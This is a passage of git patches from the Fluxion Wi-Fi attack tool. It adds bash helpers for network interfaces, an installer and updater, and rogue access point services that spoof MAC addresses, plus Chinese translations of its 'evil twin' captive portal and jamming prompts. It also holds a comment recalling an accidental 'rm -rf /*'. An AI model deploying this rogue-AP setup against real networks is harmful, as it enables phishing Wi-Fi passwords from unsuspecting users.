's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')" + fi + fi + + if [ ! "$InterfacePhysical" ]; then return 2; fi +} + +function interface_hardware() { + if [ ! "$1" ]; then return 1; fi + + local __interface_hardware__device="/sys/class/net/$1/device" + local __interface_hardware__hwinfo="$__interface_hardware__device/modalias" + + InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)" + + case "$InterfaceHardwareBus" in + "usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk). + InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')" + ;; + "pci" | "pcmcia" | "sdio") + InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)" + ;; + default) # The following will only work for USB devices. + InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)" + InterfaceHardwareBus="usb" + ;; # This will be reset below if InterfaceHardwareID is invalid. + esac + + # Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it. + if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then + unset InterfaceHardwareID + unset InterfaceHardwareBus + return 2 + else + # Remove any extraneous hex markers. + InterfaceHardwareID=${InterfaceHardwareID//0x/} + fi +} + +function interface_chipset() { + if [ ! "$1" ]; then return 1; fi + + if ! interface_hardware "$1"; then return 2; fi + + case "$InterfaceHardwareBus" in + "usb") + if [ ! "$InterfaceUSBBus" ]; then return 3; fi + InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')" + ;; + "pci" | "pcmcia") + if [ ! "$InterfacePCIBus" ]; then return 4; fi + InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')" + ;; + "sdio") + if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7}) + else InterfaceChipset="Unknown chipset for SDIO device." + fi + ;; + default) + InterfaceChipset="Unknown device chipset & device bus." + ;; + esac +} + +function interface_state() { + if [ ! "$1" ]; then return 1; fi + local __interface_state__stateFile="/sys/class/net/$1/operstate" + + if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi + InterfaceState=$(cat "$__interface_state__stateFile") +} + +function interface_set_state() { + if [ "${#@}" -ne 2 ]; then return 1; fi + # TODO: Add alternatives to 'ip' in case of failure. + ip link set "$1" "$2" + return $? +} + +function interface_set_mode() { + if [ "${#@}" -ne 2 ]; then return 1; fi + if ! interface_set_state "$1" "down"; then return 2; fi + if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then + if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice + then return 3 + fi + fi + if ! interface_set_state "$1" "up"; then return 4; fi +} + +function interface_reidentify() { + if [ ${#@} -ne 2 ]; then return 1; fi + + local -r __interface_reidentify__oldIdentifier=$1 + local -r __interface_reidentify__newIdentifier=$2 + + if [[ $__interface_reidentify__newIdentifier == *" "* ]] + then return 2 + fi + + if ! interface_set_state $__interface_reidentify__oldIdentifier down + then return 3 + fi + + # TODO: Add alternatives to 'ip' in case of failure. + ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier + return $? +} + +# FLUXSCRIPT END diff --git a/lib/SandboxUtils.sh b/lib/SandboxUtils.sh new file mode 100755 index 0000000..e78fb49 --- /dev/null +++ b/lib/SandboxUtils.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash + +if [ "$SandboxUtilsVersion" ]; then return 0; fi +readonly SandboxUtilsVersion="1.0" + +SandboxWorkspacePath="/tmp/sandbox" +SandboxOutputDevice="/dev/stdout" + +# After changing global identifiers in the main script, +# I forgot to update the identifiers here, leading to a +# horrific accident where the script ended and executed +# the command "rm -rf /*" ... yeah, fuck that... +# Spent an entire day retreiving all my shit back. +function sandbox_remove_workfile() { + # Check we've got the environment variables ready. + if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then + echo "The workspace path, or the output device is missing." >$SandboxOutputDevice + return 1 + fi + + # Check we're actually deleting a workfile. + if [[ "$1" != $SandboxWorkspacePath* ]]; then + echo "Stopped an attempt to delete non-workfiles." >$SandboxOutputDevice + return 2 + fi + + # Attempt to remove iff it exists. + #if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then + # echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice + # return 3; + #fi + + # Remove the target file (do NOT force it). + eval "rm -r $1 &> $SandboxOutputDevice" +} + +# FLUXSCRIPT END diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh new file mode 100755 index 0000000..397fada --- /dev/null +++ b/lib/ap/airbase-ng.sh @@ -0,0 +1,88 @@ +#!/usr/bin/env bash + +# ================================================================ +# Configuration Section +# ================================================================ +#APServiceConfigDirectory=$FLUXIONWorkspacePath +# ================================================================ + +#if [ "$APServiceVersion" ]; then return 0; fi +#readonly APServiceVersion="1.0" + +function ap_service_stop() { + if [ "$APServicePID" ]; then + kill $APServicePID &> $FLUXIONOutputDevice + fi + + APServicePID="" +} + +function ap_service_reset() { + ap_service_stop + + APServiceAccessInterface="" + + APServiceChannel="" + APServiceMAC="" + APServiceSSID="" + APServiceInterfaceAddress="" + APServiceInterface="" +} + +function ap_service_route() { + local networkSubnet=${APServiceInterfaceAddress%.*} + local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 )) + + if [ $hostID -eq 0 ]; then + let hostID++ + fi + + # TODO: Dynamically get the airbase-ng tap interface & use below. + # WARNING: Notice the interface below is STATIC, it'll break eventuajly! + if ! ip addr add "at0" $networkSubnet.$networkAddress/24; then + return 1 + fi + + if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then + return 2 + fi +} + +function ap_service_prep() { + if [ ${#@} -lt 5 ]; then return 1; fi + + APServiceInterface=$1 + APServiceInterfaceAddress=$2 + APServiceSSID=$3 + APServiceMAC=$4 + APServiceChannel=$5 + + ap_service_stop + + # Spoof virtual interface MAC address. + # This is done by airbase-ng automatically. + + # airbase-ng uses a monitor-mode virtual interface + # and creates a separate interface, atX, for dhcpd. + APServiceAccessInterface="at0" +} + +function ap_service_start() { + ap_service_stop + + xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \ + -title "FLUXION AP Service [airbase-ng]" -e \ + airbase-ng -P -e $APServiceSSID -c $APServiceChannel \ + -a $APServiceMAC $APServiceInterface & + local parentPID=$! + + # Wait till airebase-ng starts and creates the extra virtual interface. + while [ ! "$APServicePID" ]; do + sleep 1 + APServicePID=$(pgrep -P $parentPID) + done + + ap_service_route +} + +# FLUXSCRIPT END diff --git a/lib/ap/hostapd.sh b/lib/ap/hostapd.sh new file mode 100755 index 0000000..fd07f27 --- /dev/null +++ b/lib/ap/hostapd.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash + +# ================================================================ +# Configuration Section +# ================================================================ +APServiceConfigDirectory=$FLUXIONWorkspacePath +# ================================================================ + +#if [ "$APServiceVersion" ]; then return 0; fi +#readonly APServiceVersion="1.0" + +function ap_service_stop() { + if [ "$APServicePID" ]; then + kill $APServicePID &> $FLUXIONOutputDevice + fi + + APServicePID="" +} + +function ap_service_reset() { + ap_service_stop + + # Reset MAC address to original. + ip link set $APServiceInterface down + sleep 0.25 + + macchanger -p $APServiceInterface &> $FLUXIONOutputDevice + sleep 0.25 + + ip link set $APServiceInterface up + sleep 0.25 + + APServiceAccessInterface="" + + APServiceChannel="" + APServiceMAC="" + APServiceSSID="" + APServiceInterfaceAddress="" + APServiceInterface="" + +} + +function ap_service_route() { + echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice +} + +function ap_service_prep() { + if [ ${#@} -lt 5 ]; then return 1; fi + + APServiceInterface=$1 + APServiceInterfaceAddress=$2 + APServiceSSID=$3 + APServiceMAC=$4 + APServiceChannel=$5 + + ap_service_stop + + # Prepare the hostapd config file. + echo "\ +interface=$APServiceInterface +driver=nl80211 +ssid=$APServiceSSID +channel=$APServiceChannel" \ + > "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" + + # Spoof virtual interface MAC address. + ip link set $APServiceInterface down + sleep 0.5 + + macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice + sleep 0.5 + + ip link set $APServiceInterface up + sleep 0.5 + + # HostAPD sets the virtual interface mode + # to master, which is supported by dhcpd. + APServiceAccessInterface=$APServiceInterface +} + +function ap_service_start() { + ap_service_stop + + xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \ + -title "FLUXION AP Service [hostapd]" -e \ + hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" & + local parentPID=$! + + # Wait till hostapd has started and its virtual interface is ready. + while [ ! "$APServicePID" ]; do + sleep 1 + APServicePID=$(pgrep -P $parentPID) + done + + ap_service_route +} + +# FLUXSCRIPT END diff --git a/lib/installer/InstallerUtils.sh b/lib/installer/InstallerUtils.sh new file mode 100755 index 0000000..e3af974 --- /dev/null +++ b/lib/installer/InstallerUtils.sh @@ -0,0 +1,293 @@ +#!/usr/bin/env bash + +if [ "$InstallerUtilsVersion" ]; then return 0; fi +readonly InstallerUtilsVersion="1.0" + +InstallerUtilsWorkspacePath="/tmp/verspace" + +InstallerUtilsOutputDevice="/dev/stdout" + +InstallerUtilsNoticeMark="*" + +PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" + +installer_utils_run_spinner() { + local pid=$1 + local delay=0.15 + local spinstr="|/-\\" + + tput civis + while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do + local temp=${spinstr#?} + printf " [%c] " "$spinstr" + local spinstr=$temp${spinstr%"$temp"} + sleep $delay + printf "\b\b\b\b\b\b" + done + + printf " \b\b\b\b" + tput cnorm +} + +# Pamaters: +# $1 source - Online Info File (text) +# $2 version regex - Online version (regex) +# $3 revision regex - Online version (regex) +installer_utils_check_version() { + if [ ${#@} -ne 3 ]; then return 1; fi + + # Attempt to retrieve versioning information from repository script. + local -r __installer_utils_check_version__info=$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null) + + local -r __installer_utils_check_version__onlineVersion=$( + echo "$__installer_utils_check_version__info" | egrep "$2" | egrep -o "[0-9]+") + local -r __installer_utils_check_version__onlineRevision=$( + echo "$__installer_utils_check_version__info" | egrep "$3" | egrep -o "[0-9]+") + + if [ "$__installer_utils_check_version__onlineVersion" ] && \ + [ "$__installer_utils_check_version__onlineRevision" ]; then + echo "$__installer_utils_check_version__onlineVersion" > \ + "$InstallerUtilsWorkspacePath/latest_version" + echo "$__installer_utils_check_version__onlineRevision" >> \ + "$InstallerUtilsWorkspacePath/latest_version" + fi +} + +# Pamaters: +# $1 source - Online Info File (text) +# $2 version regex - Online version (regex) +# $3 version local - Local version (number) +# $4 revision regex - Online version (regex) +# $5 revision local - Local version (number) +installer_utils_check_update() { + # The following set of statements aren't very generic, need to be refactored. + local versionDialog="Online Version" + local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4))) + printf "%${versionDialogOffset}s" "$versionDialog" + + installer_utils_check_version "${@:1:3}" & + installer_utils_run_spinner "$!" # This should be done externally (refactored). + + local __installer_utils_check_update__localVersion=$4 + local __installer_utils_check_update__localRevision=$5 + local __installer_utils_check_update__version="?" + local __installer_utils_check_update__revision="?" + + if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \ + -s "$InstallerUtilsWorkspacePath/latest_version" ]; then + local __installer_utils_check_update__vInfo + mapfile -tn 2 __installer_utils_check_update__vInfo < \ + "$InstallerUtilsWorkspacePath/latest_version" + + sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version" + + __installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]} + __installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]} + fi + + echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]" + + if [ \ + "$__installer_utils_check_update__version" != "?" -a \ + "$__installer_utils_check_update__revision" != "?" ]; then + if [ \ + "$__installer_utils_check_update__version" -gt \ + "$__installer_utils_check_update__localVersion" -o \ + "$__installer_utils_check_update__version" -eq \ + "$__installer_utils_check_update__localVersion" -a \ + "$__installer_utils_check_update__revision" -gt \ + "$__installer_utils_check_update__localRevision" ]; then + format_center_literals "[${CBGrn}A newer version has been found!$CClr]" + echo + echo -e "$FormatCenterLiterals" + return 0 + fi + fi + + return 1 # Failure +} + +# Parameters: $1 - Update source (zip) $2 - Backup file name $3 - Update output +installer_utils_run_update() { + if [ ${#@} -ne 3 ]; then return 1; fi + + local __installer_utils_run_update__source="$1" + local __installer_utils_run_update__backup="$2" + local __installer_utils_run_update__output="$3" + + format_center_literals "Press$CYel Y$CClr /$CYel enter$CClr to update, anything else to skip." + echo -e "$FormatCenterLiterals" + + tput civis + local __installer_utils_run_update__option + read -N1 __installer_utils_run_update__option + tput cnorm + + # If the user doesn't want to upgrade, stop this procedure. + if [ \ + "${__installer_utils_run_update__option-}" != $'\n' -a \ + "${__installer_utils_run_update__option^}" != "Y" ]; then + return 1 + fi + + local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)" + local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z" + + # If a file with the backup name already exists, abort. + if [ -f "$__installer_utils_run_update__backupPath" ]; then + format_center_literals "[${CRed}Can't overwite existing file!$CClr]" + echo -e "$FormatCenterLiterals" + sleep 3 + return 2 + fi + + format_center_literals "[ ~ Creating Backup ~ ]" + echo -e "$FormatCenterLiterals" + echo + + 7zr a "$__installer_utils_run_update__backupPath" \ + "$__installer_utils_run_update__output" &> $InstallerUtilsOutputDevice + + format_center_literals "[ ~ Downloading Update ~ ]" + echo -e "$FormatCenterLiterals" + echo + if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then + format_center_literals "[ ~ ${CRed}Download Failed$CClr ~ ]" + echo -e "$FormatCenterLiterals" + echo + sleep 3 + return 3 + fi + + format_center_literals "[ ~ Verifying Download ~ ]" + echo + if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip" &> \ + $InstallerUtilsOutputDevice; then + format_center_literals "[ ~ ${CRed}Download Appears Corrupted$CClr ~ ]" + echo -e "$FormatCenterLiterals" + sleep 3 + return 4 + fi + + format_center_literals "[ ~ Extracting Files ~ ]" + echo -e "$FormatCenterLiterals" + echo + mkdir "$InstallerUtilsWorkspacePath/update_contents" + unzip "$InstallerUtilsWorkspacePath/update.zip" \ + -d "$InstallerUtilsWorkspacePath/update_contents" &> \ + $InstallerUtilsOutputDevice + + if [ ! -d "$__installer_utils_run_update__output" ]; then + if ! mkdir -p "$__installer_utils_run_update__output"; then + format_center_literals "[ ~ ${CRed}Failed To Create Destination Directory$CClr ~ ]" + echo -e "$FormatCenterLiterals" + echo + sleep 3 + return 5 + fi + fi + + format_center_literals "[ ~ Moving Files ~ ]" + echo -e "$FormatCenterLiterals" + echo + + # Delete all contents of previous installation. + $(cd "$__installer_utils_run_update__output"; rm -rf *) + + mv "$InstallerUtilsWorkspacePath"/update_contents/*/* \ + "$__installer_utils_run_update__output" + + format_center_literals "[ ~ ${CSGrn}Update Completed$CClr ~ ]" + echo -e "$FormatCenterLiterals" + echo + sleep 5 +} + +# Parameters: $1 - CLI Tools required array $2 - CLI Tools missing array (will be populated) +installer_utils_check_dependencies() { + if [ ! "$1" ]; then return 1; fi + + local __installer_utils_check_dependencies__CLIToolsInfo=("${!1}") + InstallerUtilsCheckDependencies=() + + local __installer_utils_check_dependencies__CLIToolInfo + for __installer_utils_check_dependencies__CLIToolInfo in "${__installer_utils_check_dependencies__CLIToolsInfo[@]}"; do + local __installer_utils_check_dependencies__CLITool=${__installer_utils_check_dependencies__CLIToolInfo/:*/} + local __installer_utils_check_dependencies__identifier="$(printf "%-44s" "$__installer_utils_check_dependencies__CLITool")" + local __installer_utils_check_dependencies__state=".....$CGrn OK.$CClr" + + if ! hash "$__installer_utils_check_dependencies__CLITool" 2>/dev/null; then + __installer_utils_check_dependencies__state="$CRed Missing!$CClr" + InstallerUtilsCheckDependencies+=("$__installer_utils_check_dependencies__CLIToolInfo") + fi + + format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_check_dependencies__identifier// /.}$__installer_utils_check_dependencies__state" + echo -e "$FormatCenterLiterals" + done + + if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi +} + +# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array +installer_utils_run_dependencies() { + if [ ! "$1" ]; then return 1; fi + if ! ping -q -w 1 -c 1 8.8.8.8 &> /dev/null; then + format_center_literals "[${CRed}!$CClr] ${CBYel}No internet connection found!$CClr" + echo -e "\n\n$FormatCenterLiterals" + + format_center_literals "[ ${CSRed}CANNOT CONTINUE${CClr} ]" + echo -e "$FormatCenterLiterals"; sleep 3 + + return 3 + fi + + # The array below holds all the packages that will be installed. + local __installer_utils_run_dependencies__dependenciesInfo=("${!1}") + + local __installer_utils_run_dependencies__managers=("$FLUXIONLibPath/installer/managers/"*) + + local __installer_utils_run_dependencies__manager + for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do + source "$__installer_utils_run_dependencies__manager" + if [ "$PackageManagerCLT" ]; then break; fi + done + + if [ ! "$PackageManagerCLT" ]; then + format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr";echo + sleep 3 + return 2 + fi + + check_package_manager + prep_package_manager + + unset __installer_utils_run_dependencies__installerStatus + + for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do + local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/} + local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/} + unset __installer_utils_run_dependencies__packageStatus + + local __installer_utils_run_dependencies__package + for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do + clear + if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then + local __installer_utils_run_dependencies__packageStatus="installed" + break + fi + done + + if [ -z ${__installer_utils_run_dependencies__packageStatus+x} ]; then + __installer_utils_run_dependencies__installerStatus="failed" + break + fi + done + + unprep_package_manager + + if [ "$__installer_utils_run_dependencies__installerStatus" = "failed" ]; then + return 3 + fi +} + +# FLUXSCRIPT END diff --git a/lib/installer/managers/apt.sh b/lib/installer/managers/apt.sh new file mode 100755 index 0000000..05cce57 --- /dev/null +++ b/lib/installer/managers/apt.sh @@ -0,0 +1,46 @@ +#!/usr/bin/env bash + +if [ -f "/etc/debian_version" ]; then + PackageManagerCLT="apt" + PackageManagerCLTInstallOptions="install -y" + PackageManagerCLTRemoveOptions="remove -y" + + PackageManagerOutputDevice="/dev/stdout" + + unprep_package_manager() { + echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list + } + + check_package_manager() { + echo "Nothing to check." >$PackageManagerOutputDevice + } + + prep_package_manager() { + if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then + echo "Adding missing sources to package manager, please wait." + + echo "Adding keys.gnupg.net key, please wait." + if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then + echo "ERROR: Failed to fetch or add the source key!" + return 1 + fi + + echo "Adding pgp.mit.edu key, please wait." + if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then + echo "ERROR: Failed to fetch or add the source key!" + return 1 + fi + + echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list + fi + + # Cleanup package manager + apt-get install -f -y | tee -a $PackageManagerLog + apt-get autoremove -y | tee -a $PackageManagerLog + apt-get autoclean -y | tee -a $PackageManagerLog + apt-get clean -y | tee -a $PackageManagerLog + apt-get update | tee -a $PackageManagerLog + } +fi + +# FLUXSCRIPT END diff --git a/lib/installer/managers/emerge.sh b/lib/installer/managers/emerge.sh new file mode 100755 index 0000000..1266d08 --- /dev/null +++ b/lib/installer/managers/emerge.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +if [ -f "/etc/gentoo-release" ]; then + PackageManagerCLT="emerge" + PackageManagerCLTInstallOptions="-s" + PackageManagerCLTRemoveOptions="" + + PackageManagerOutputDevice="/dev/stdout" + + unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } + + check_package_manager() { + echo "Nothing to check." >$PackageManagerOutputDevice + } + + prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } +fi + +# FLUXSCRIPT END diff --git a/lib/installer/managers/pacman.sh b/lib/installer/managers/pacman.sh new file mode 100755 index 0000000..ffc6a3a --- /dev/null +++ b/lib/installer/managers/pacman.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash + +if [ -f "/etc/arch-release" ]; then + #Last entry is the default package manager to use (pacman) + AurHelpers="pacaur yaourt pacman" + for AurHelper in $AurHelpers; do + if [ "$(pacman -Qs $AurHelper)" ]; then + PackageManagerCLT=$AurHelper + break + fi + done + PackageManagerCLT='pacman' + PackageManagerCLTInstallOptions="-S --noconfirm" + PackageManagerCLTRemoveOptions="-Rs" + + PackageManagerOutputDevice="/dev/stdout" + + unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } + + check_package_manager() { + if [ -f "/var/lib/pacman/db.lck" ];then echo -e "[\033[31m!\033[0m] Pacman is locked, can't install dependencies. Exit."; exit 4; fi + } + + prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } +fi + +# FLUXSCRIPT END diff --git a/lib/installer/managers/yum.sh b/lib/installer/managers/yum.sh new file mode 100755 index 0000000..f9d53d3 --- /dev/null +++ b/lib/installer/managers/yum.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +if [ -f "/etc/redhat-release" ]; then + PackageManagerCLT="yum" + PackageManagerCLTInstallOptions="-y install" + PackageManagerCLTRemoveOptions="remove" + + PackageManagerOutputDevice="/dev/stdout" + + unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } + + check_package_manager () { + echo "Nothing to check." >$PackageManagerOutputDevice + } + + prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } +fi + +# FLUXSCRIPT END diff --git a/lib/installer/managers/zypp.sh b/lib/installer/managers/zypp.sh new file mode 100755 index 0000000..81df10f --- /dev/null +++ b/lib/installer/managers/zypp.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +if [ -f "/etc/SuSE-release" ]; then + PackageManagerCLT="zypp" + PackageManagerCLTInstallOptions="install" + PackageManagerCLTRemoveOptions="remove" + + PackageManagerOutputDevice="/dev/stdout" + + unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } + + check_package_manager() { + echo "Nothing to check." >$PackageManagerOutputDevice + } + + prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } +fi + +# FLUXSCRIPT END From 0acbfeb5c51edb8d91471053ea39cfe593c78e6a Mon Sep 17 00:00:00 2001 From: deltaxflux Date: Fri, 3 Aug 2018 21:08:59 +0200 Subject: [PATCH 03/26] Restore .git folder --- fluxion.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion.sh b/fluxion.sh index cbc1cd9..dadb72a 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -21,7 +21,7 @@ readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf" readonly FLUXIONNoiseFloor=-90 readonly FLUXIONNoiseCeiling=-60 -readonly FLUXIONVersion=1 +readonly FLUXIONVersion=5 readonly FLUXIONRevision=0 # Declare window ration bigger = smaller windows From 49d22687065fc2c7e7375b072903f7dcb95df368 Mon Sep 17 00:00:00 2001 From: xihi <29686769+xisohi@users.noreply.github.com> Date: Mon, 6 Aug 2018 20:08:14 +0800 Subject: [PATCH 04/26] Update zh.sh --- attacks/Captive Portal/language/zh.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/attacks/Captive Portal/language/zh.sh b/attacks/Captive Portal/language/zh.sh index 7ce35ce..ad33e9c 100755 --- a/attacks/Captive Portal/language/zh.sh +++ b/attacks/Captive Portal/language/zh.sh @@ -3,8 +3,8 @@ # description: 创建一个“邪恶的双胞胎”接入点。 # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalJammerInterfaceQuery="选择一个用于干扰的接口" +CaptivePortalAccessPointInterfaceQuery="为接入点选择一个接口" CaptivePortalCannotStartInterfaceError="${CRed}无法启动网络功击接口$CClr, 返回" CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..." CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..." @@ -14,9 +14,9 @@ CaptivePortalStartingWebServiceNotice="启动钓鱼热点作为守护进程..." CaptivePortalStartingJammerServiceNotice="启动接入点干扰器作为守护进程..." CaptivePortalStartingAuthenticatorServiceNotice="启动验证器脚本..." # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +CaptivePortalAPServiceQuery="选择一个接入点" +CaptivePortalAPServiceHostapdOption="流氓 AP - hostapd (${CGrn}推荐$CClr)" +CaptivePortalAPServiceAirbaseOption="流氓 AP - airbase-ng (${CYel}slow$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> CaptivePortalVerificationMethodQuery="请选择验证密码方式" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> From e2e1f9513b089939ab1ff67a5363f38cb008dfbf Mon Sep 17 00:00:00 2001 From: xihi <29686769+xisohi@users.noreply.github.com> Date: Sun, 12 Aug 2018 12:16:05 +0800 Subject: [PATCH 05/26] xiexie --- attacks/Captive Portal/language/zh.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/attacks/Captive Portal/language/zh.sh b/attacks/Captive Portal/language/zh.sh index ad33e9c..a378f9f 100755 --- a/attacks/Captive Portal/language/zh.sh +++ b/attacks/Captive Portal/language/zh.sh @@ -16,14 +16,14 @@ CaptivePortalStartingAuthenticatorServiceNotice="启动验证器脚本..." # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> CaptivePortalAPServiceQuery="选择一个接入点" CaptivePortalAPServiceHostapdOption="流氓 AP - hostapd (${CGrn}推荐$CClr)" -CaptivePortalAPServiceAirbaseOption="流氓 AP - airbase-ng (${CYel}slow$CClr)" +CaptivePortalAPServiceAirbaseOption="流氓 AP - airbase-ng (${CYel}缓慢$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> CaptivePortalVerificationMethodQuery="请选择验证密码方式" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> CaptivePortalCertificateSourceQuery="选择钓鱼认证门户的SSL证书来源" CaptivePortalCertificateSourceGenerateOption="创建SSL证书" CaptivePortalCertificateSourceRescanOption="检测SSL证书 (${CClr}再次搜索$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalCertificateSourceDisabledOption="没有证书 (${CYel}disable SSL$CGry)" CaptivePortalUIQuery="选择钓鱼热点的认证网页界面" CaptivePortalGenericInterfaceOption="通用认证网页" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> From 2b8815b778460ff8705bdb1312d58016ce5bcdd6 Mon Sep 17 00:00:00 2001 From: deltaxflux Date: Mon, 13 Aug 2018 20:01:10 +0200 Subject: [PATCH 06/26] Fluxion 5.1: - Move external git repository to fluxion - Modify fluxion internals - Fix issue #587, check if systemd-resolver is running and kill it - Fix issue #579, kill running network manager service - Rewrite instructions - Bump revision --- .gitmodules | 3 - attacks/Captive Portal/attack.sh | 30 +- .../ARRIS_en.portal/css/bootstrap-theme.css | 587 ++ .../css/bootstrap-theme.css.map | 1 + 